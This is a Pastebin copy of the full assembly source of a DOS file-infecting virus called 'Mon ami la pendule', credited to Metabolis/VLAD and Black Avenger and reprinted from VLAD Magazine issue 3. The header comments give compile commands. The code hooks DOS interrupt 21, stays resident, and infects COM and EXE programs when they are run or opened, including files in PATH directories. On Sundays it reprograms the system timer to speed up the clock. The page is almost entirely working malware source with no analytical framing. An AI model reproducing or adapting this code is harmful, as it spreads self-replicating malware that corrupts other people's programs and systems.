Advertisement
FlyFar

VLAD Magazine - Issue #3 - ARTICLE.4._7 - Mon ami la pendule

Jun 29th, 2023
1,374
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 13.87 KB | Cybersecurity | 0 0
  1. ; [Mon ami la pendule]
  2. ; "My friend the clock"
  3. ;
  4. ; by Metabolis/VLAD
  5. ; and Black Avenger of Moscow
  6. ;
  7. ; Basically I needed a shell to contain the payload I'd
  8. ; written for one of my own viruses but I kinda stuffed
  9. ; up slightly and wanted to release this before vlad#3.
  10. ; As a favour to me Black Avenger gave me his first virus
  11. ; to use with my payload.  He asked only to be given
  12. ; credit in the asm source itself, so I've just stuck
  13. ; my handle down there in the code  (can't let a virus
  14. ; have no one responsible for it now can I? :)
  15. ;
  16. ; compile with:
  17. ; tasm /m2 monami.asm
  18. ; tlink monami.obj
  19. ; exe2bin monami.exe monami.com
  20. ;
  21. ; hooks int 21
  22. ; infects on - execution
  23. ;            + open
  24. ;            + extended open
  25. ; will infect files in the PATH environment variable
  26.  
  27.         .MODEL TINY
  28.         .CODE
  29.         .RADIX 16
  30.  
  31. START:
  32.         pushf
  33.         cli
  34.         call    DELTA
  35. DELTA:
  36.         pop     si
  37.         sub     si,DELTA-START
  38.         push    cs
  39.         push    si
  40.         push    ax
  41.         mov     bx,-1
  42.         mov     ah,4A
  43.         int     21
  44.         sub     bx,(MEM-START+0f)/10
  45.         push    bx
  46.         push    es
  47.         mov     bp,ds
  48.         add     bx,bp
  49.         mov     es,bx
  50.         sub     di,di
  51.         mov     cx,TOP-START
  52.         push    cx
  53.         push    si
  54.         push    cs
  55.         cld
  56.         rep     movs byte ptr [di],cs:[si]
  57.         push    es
  58.         mov     cl,offset RESTART
  59.         push    cx
  60.         retf
  61. RESTART:
  62.         pop     es
  63.         pop     di
  64.         pop     cx
  65. PGM_SEG:
  66.         lea     ax,[bp-100]
  67.         mov     ds,ax
  68. PGM_OFF:
  69.         mov     si,RTRN-START+1100
  70.         rep     movsb
  71.         mov     ah,2C
  72.         int     21
  73.         call    CHECKSUM
  74.         mov     ax,3521
  75.         int     21
  76.         push    cs
  77.         pop     ds
  78.         mov     si,offset REAL_INT21
  79.         mov     [si+CHAINDOS+1-REAL_INT21],bx
  80.         mov     [si+CHAINDOS+3-REAL_INT21],es
  81.         pop     es
  82.         pop     bx
  83.         xchg    si,dx
  84.         mov     ah,25
  85.         int     21
  86.         dec     bx
  87.         jz      EXIT
  88.         mov     ah,4A
  89.         int     21
  90.         mov     ax,cs
  91.         dec     ax
  92.         mov     ds,ax
  93.         mov     di,2
  94.         mov     byte ptr [di-1],8
  95.         stosw
  96. CHECKDATE:
  97.         mov     ah,2Ah                          ; get system date
  98.         int     21h
  99.  
  100.         or      al,al                           ; is today Sunday?
  101.         jne     EXIT                            ; nope, carry on
  102. OVERDRIVE:                                      ; speed up the computer
  103.         mov     ax,34h                          ; clock about 10 TIMEs
  104.         out     43h,ax                          ; port 43h Control Word
  105.                                                 ; (write only)
  106.         mov     ax,11h                          ; port 40h Channel 0 counter
  107.         out     40h,ax                          ; (read/write)
  108.         jmp     EXIT
  109.  
  110. COPYR   db      '[Mon ami la pendule] - Metabolis/VLAD'
  111.  
  112. EXIT:
  113.         push    es
  114.         pop     ds
  115.         pop     ax
  116.         iret
  117.  
  118. CHECKSUM:
  119.         mov     si,offset SPREADING_THE_DISEASE
  120. CHECKSUM_LUP:
  121.         lods    word ptr cs:[si]
  122.         add     cx,ax
  123.         xor     dx,cx
  124.         cmp     si,offset GOT_POS
  125.         jb      CHECKSUM_LUP
  126.         ret
  127.  
  128. ERROR_HANDLER:
  129.         mov     al,3
  130.         iret
  131.  
  132. REAL_INT21:
  133.         pushf
  134.         cld
  135.         cmp     ax,2521
  136.         jne     TIME
  137. CHKS1:
  138.         cmp     cx,80
  139.         jne     _CHAINDOS
  140. CHKS2:
  141.         cmp     si,80
  142.         jne     _CHAINDOS
  143.         mov     bx,1
  144.         popf
  145.         iret
  146.  
  147. TIME:
  148.         push    ax
  149.         push    si
  150.         cmp     ah,2C
  151.         jne     SPREAD
  152.         call    DOS
  153.         push    cx
  154.         push    dx
  155.         call    CHECKSUM
  156.         mov     word ptr cs:[CHKS1+2],cx
  157.         mov     word ptr cs:[CHKS2+2],dx
  158.         pop     dx
  159.         pop     cx
  160.         pop     si
  161.         pop     ax
  162.         popf
  163.         iret
  164. SPREAD:
  165.         push    cx
  166.         push    dx
  167.         push    bx
  168.         push    bp
  169.         push    di
  170.         push    es
  171.         push    ds
  172.         cmp     ax,4B00
  173.         je      SPREADING_THE_DISEASE
  174.         cmp     ah,3Dh
  175.         je      SPREADING_THE_DISEASE
  176.         cmp     ax,6C00
  177.         jne     GET_OUT
  178.         and     dx,3
  179.         dec     dx
  180.         mov     dx,si
  181.         jz      SPREADING_THE_DISEASE
  182. GET_OUT:
  183.         pop     ds
  184.         pop     es
  185.         pop     di
  186.         pop     bp
  187.         pop     bx
  188.         pop     dx
  189.         pop     cx
  190.         pop     si
  191.         pop     ax
  192. _CHAINDOS:
  193.         popf
  194. CHAINDOS:
  195.         db      0EA
  196.         dd      ?
  197.  
  198. SPREADING_THE_DISEASE:
  199.         xchg    bp,ax
  200.         sub     bx,bx        
  201.         mov     es,bx
  202.         mov     bl,90
  203.         mov     ax,cs
  204.         xchg    ax,es:[bx+2]
  205.         push    ax
  206.         mov     ax,offset ERROR_HANDLER
  207.         xchg    ax,es:[bx]
  208.         push    ax
  209.         push    bx
  210.         push    es
  211.         mov     ah,2F
  212.         call    DOS
  213.         push    bx
  214.         push    es
  215.         push    dx
  216.         push    ds
  217.         push    cs
  218.         pop     ds
  219.         mov     dx,offset DTA
  220.         mov     ah,1A
  221.         call    DOS
  222.         pop     ds
  223.         pop     dx
  224.         mov     ah,4E
  225.         call    FIND
  226. SPREAD_LUP:
  227.         mov     si,offset BUF
  228.         push    bp
  229.         push    dx
  230.         push    ds
  231.         mov     ax,4301
  232.         push    ax
  233.         jc      _ATTR
  234.         cmp     word ptr cs:[si+1C-44],10
  235.         jnb     __ATTR
  236.         mov     bl,cs:[si+19-44]
  237.         shr     bl,1
  238.         cmp     bl,20
  239.         jnb     __ATTR
  240.         mov     cx,1F04
  241.         and     cx,cs:[si+15-44]
  242.         test    cl,cl
  243.         jnz     __ATTR
  244.         cmp     bl,ch
  245.         je      __ATTR
  246.         call    SET_ATTR
  247.         jc      _ATTR
  248.         mov     ax,3D02
  249.         call    DOS
  250.         jnc     OPEN
  251. __ATTR:
  252.         cmc
  253. _ATTR:
  254.         jmp     ATTR
  255. OPEN:
  256.         push    cs
  257.         pop     ds
  258.         xchg    bx,ax
  259.         mov     cl,40
  260.         mov     ah,3F
  261.         call    BUF_IO
  262.         jc      CLOSE_CY
  263.         cmp     word ptr [si],'ZM'
  264.         je      GOT_EXE
  265.         cmp     word ptr [si],'MZ'
  266.         je      GOT_EXE
  267.         push    cs
  268.         pop     es
  269.         mov     di,offset DTA+1E
  270.         mov     cl,0E
  271.         repne   scasb
  272.         mov     ax,[di-4]
  273.         cmp     ax,'XE'
  274.         je      CHECK_EXT
  275.         cmp     ax,'OC'
  276.         jne     _CLOSE_NZ
  277.         mov     al,'M'
  278. CHECK_EXT:
  279.         cbw
  280.         sub     al,[di-2]
  281.         jnz     _CLOSE_NZ
  282. GOT_COM:
  283.         mov     word ptr [ADJ_HEAD+1],ax
  284.         cwd
  285.         cmp     byte ptr [si],0E8
  286.         je      DISP_3
  287.         cmp     byte ptr [si],0E9
  288.         jne     _GOT_POS
  289. DISP_3:
  290.         mov     al,3
  291.         add     ax,[si+1]
  292. _GOT_POS:
  293.         jmp     GOT_POS
  294. GOT_EXE:
  295.         inc     word ptr [si+0C]
  296. _CLOSE_NZ:
  297.         jnz     CLOSE_NZ
  298.         mov     di,[si+14]
  299.         cmp     di,START-TOP-10
  300.         ja      CLOSE_NZ
  301.         cmp     cx,[si+18]
  302.         jne     SKIP_PM
  303.         les     dx,[si+3C]
  304.         call    SEEKES
  305.         call    IN4
  306.         jc      SKIP_PM
  307.         cmp     word ptr [si+1A],'EN'
  308.         je      _CLOSE
  309. SKIP_PM:
  310.         mov     ax,[si+16]
  311.         call    I_MUL
  312.         sub     cx,cx
  313.         add     ax,di
  314.         adc     dx,cx
  315.         call    CHECK_STACK
  316. CLOSE_CY:
  317.         jc      _CLOSE
  318.         push    ax
  319.         push    dx
  320.         add     ax,TOP-START
  321.         adc     dx,cx
  322.         sub     ax,[si+1A-44]
  323.         sbb     dx,[si+1C-44]
  324.         cmc
  325.         jc      bad_entry
  326.         les     ax,[si+1A-44]
  327.         mov     dx,es
  328.         call    CHECK_STACK
  329. bad_entry:
  330.         pop     di
  331.         pop     bp
  332.         jc      _CLOSE
  333.         push    ax
  334.         push    dx
  335.         mov     ch,2  
  336.         div     cx
  337.         test    dx,dx
  338.         jz      SKIP_INC
  339.         inc     ax
  340. SKIP_INC:
  341.         cmp     ax,[si+4]
  342.         pop     dx
  343.         pop     ax
  344. CLOSE_NZ:
  345.         jne     _CLOSE
  346.         add     ax,TOP-START
  347.         adc     dx,0
  348.         div     cx
  349.         test    dx,dx
  350.         jz      SKIP_INC1
  351.         inc     ax
  352. SKIP_INC1:
  353.         mov     [si+4],ax
  354.         mov     [si+2],dx
  355.         call    SEEK_RELOCTBL
  356.         inc     word ptr [si+6]
  357. RELOC_LUP:
  358.         dec     word ptr [si+6]
  359.         jz      RELOC_END
  360.         call    IN4
  361.         mov     ax,[si+1C]
  362.         call    I_MUL
  363.         add     ax,[si+1A]
  364.         adc     dx,0
  365.         sub     ax,bp
  366.         sbb     dx,di
  367.         jnc     CHECK
  368.         inc     ax
  369.         jnz     RELOC_LUP
  370.         inc     dx
  371. RELOC_NXT:
  372.         jnz     RELOC_LUP
  373. _CLOSE:
  374.         jmp     __CLOSE
  375. CHECK:
  376.         jnz     RELOC_LUP
  377.         cmp     ax,TOP-START
  378.         jnb     RELOC_NXT
  379.         add     ax,[si+1A-44]
  380.         adc     dx,[si+1C-44]
  381.         mov     cl,10
  382.         div     cx
  383.         sub     ax,[si+8]
  384.         mov     word ptr [si+1A],dx
  385.         mov     word ptr [si+1C],ax
  386.         mov     dx,-4
  387.         mov     cx,-1
  388.         mov     ax,4201
  389.         call    DOS
  390.         mov     ah,40
  391.         call    OUT4
  392.         jnc     RELOC_LUP
  393. __CLOSE:
  394.         jmp     CLOSE
  395. RELOC_END:
  396.         mov     ax,[si+8]
  397.         mov     word ptr [ADJ_HEAD+1],ax
  398.         sub     dx,dx
  399.         call    SEEKCX
  400.         mov     cl,6
  401.         mov     ah,40
  402.         call    BUF_IO
  403.         jc      CLOSE
  404.         xchg    bp,ax
  405.         xchg    di,dx
  406. GOT_POS:
  407.         xchg    dx,ax
  408.         xchg    cx,ax
  409.         push    cx
  410.         push    dx
  411.         call    seek
  412.         mov     ah,3F
  413.         call    BUF_IOCX
  414.         jc      CLOSE_POS
  415.         les     dx,[si+1A-44]
  416.         call    SEEKES
  417.         mov     cl,10
  418.         div     cx
  419.         add     ax,cx
  420. ADJ_HEAD:
  421.         sub     ax,0
  422.         mov     word ptr [PGM_SEG+2],ax
  423.         mov     word ptr [PGM_OFF+1],dx
  424.         mov     ah,40
  425.         call    BUF_IOCX
  426. CLOSE_POS:
  427.         pop     dx
  428.         pop     cx
  429.         jc      CLOSE
  430.         call    seek
  431.         mov     cx,TOP-START
  432.         mov     ah,40
  433.         cwd
  434.         call    IO
  435.         jc      CLOSE
  436.         les     cx,[si+16-44]
  437.         mov     dx,es
  438.         and     cx,-20
  439.         mov     ax,dx
  440.         shr     ah,1
  441.         or      cl,ah
  442.         mov     ax,5701
  443.         or      byte ptr [GOT_ONE],al
  444.         call    DOS
  445. CLOSE:
  446.         mov     ah,3E
  447.         call    DOS
  448.         clc
  449. ATTR:
  450.         pop     ax
  451.         pop     ds
  452.         pop     dx
  453.         jc      SKIP_ATTR
  454.         mov     cl,cs:[si+15-44]
  455.         call    SET_ATTR
  456. SKIP_ATTR:
  457.         pop     ax
  458.         cmp     ah,4Bh
  459.         je      SPREAD_CONT
  460. FIX_PTRS:
  461.         pop     ds
  462.         pop     dx
  463.         mov     ah,1A
  464.         call    DOS
  465.         pop     es
  466.         pop     di
  467.         pop     ax
  468.         stosw
  469.         pop     ax
  470.         stosw
  471.         jmp     GET_OUT
  472. SPREAD_CONT:
  473.         push    cs
  474.         pop     es
  475.         mov     dx,offset NAM
  476.         shr     al,1
  477.         inc     ax
  478.         xchg    bp,ax
  479.         mov     ah,4F
  480.         jc      GOT_ONE
  481.         sub     bx,bx
  482.         mov     ah,62
  483.         call    DOS
  484.         test    bx,bx
  485.         jz      FIX_PTRS
  486.         mov     ds,bx
  487.         sub     si,si
  488.         cmp     si,[si+2C]
  489.         jz      FIX_PTRS
  490.         mov     ds,[si+2C]
  491. SCAN_ENV:
  492.         lodsb
  493.         test    al,al
  494.         jnz     SCAN_ENV
  495.         lodsb
  496.         test    al,al
  497.         jz      FIX_PTRS
  498.         or      al,20
  499.         cmp     al,'p'
  500.         jne     SCAN_ENV
  501.         lodsw
  502.         or      ax,2020
  503.         cmp     ax,'ta'
  504.         jne     SCAN_NXT
  505.         lodsw
  506.         or      al,20
  507.         cmp     ax,'=h'
  508.         je      SCAN_PATH
  509. SCAN_NXT:
  510.         dec     si
  511.         dec     si
  512.         jmp     SCAN_ENV
  513. NEXT_DIR:
  514.         pop     ds
  515.         pop     si
  516.         pop     ax
  517.         test    al,al
  518.         jz      FIX_PTRS
  519. SCAN_PATH:
  520.         and     byte ptr cs:[GOT_ONE],0FE
  521.         mov     di,dx
  522. COPY_PATH:
  523.         lodsb
  524.         cmp     al,';'
  525.         je      END_DIR
  526.         test    al,al
  527.         jz      END_DIR
  528.         stosb
  529.         jmp     COPY_PATH
  530. END_DIR:
  531.         push    ax
  532.         push    si
  533.         push    ds
  534.         dec     di
  535.         mov     al,'\'
  536.         scasb
  537.         je      SET_MASK
  538.         stosb
  539. SET_MASK:
  540.         push    di
  541.         mov     ax,'.*'
  542.         stosw
  543.         cbw
  544.         stosw
  545.         mov     ah,4E
  546. GOT_ONE:
  547.         clc
  548.         pop     di
  549.         jc      NEXT_DIR
  550.         push    cs
  551.         pop     ds
  552.         call    FIND
  553.         jc      NEXT_DIR
  554.         push    di
  555.         mov     si,offset DTA+1E
  556.         mov     cl,7
  557.         rep     movsw
  558.         jmp     SPREAD_LUP
  559.        
  560. CHECK_STACK:
  561.         xchg    bp,ax
  562.         xchg    di,dx
  563.         mov     ax,[si+0E]
  564.         call    I_MUL
  565.         add     ax,[si+10]
  566.         adc     dx,cx
  567.         sub     ax,bp
  568.         sbb     dx,di
  569.         cmc
  570.         jnc     BELOW_STACK
  571.         sub     ax,TOP-START+64
  572.         sbb     dx,cx
  573. BELOW_STACK:
  574.         xchg    di,dx
  575.         xchg    bp,ax
  576.         ret
  577.  
  578. I_MUL:
  579.         add     ax,[si+8]
  580.         mov     dx,10
  581.         imul    dx
  582.         ret
  583.  
  584. IN4:
  585.         mov     ah,3F
  586. OUT4:
  587.         mov     dx,offset BUF+1A
  588.         mov     cx,4
  589.         jmp     IO
  590. BUF_IOCX:
  591.         mov     cx,TOP-START
  592. BUF_IO:
  593.         mov     dx,si
  594. IO:
  595.         call    DOS
  596.         jc      IO_RTRN
  597.         sub     ax,cx
  598. IO_RTRN:
  599.         ret
  600.  
  601. FIND:
  602.         mov     cl,23
  603. SET_ATTR:
  604.         sub     ch,ch
  605.         jmp     DOS
  606.  
  607. SEEK_RELOCTBL:
  608.         mov     dx,[si+18]
  609. SEEKCX:
  610.         sub     cx,cx
  611.         test    ax,0
  612.         org     $-2
  613. SEEKES:
  614.         mov     cx,es
  615. seek:
  616.         mov     ax,4200
  617. DOS:
  618.         pushf
  619.         cli
  620.         push    cs
  621.         call    CHAINDOS
  622. RTRN:
  623.         ret
  624.  
  625. TOP:
  626.  
  627. NAM     db      60 dup(?)
  628. DTA     db      44 dup(?)
  629. BUF     db      TOP-START dup(?)
  630.  
  631. MEM:
  632.  
  633.         end     START
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement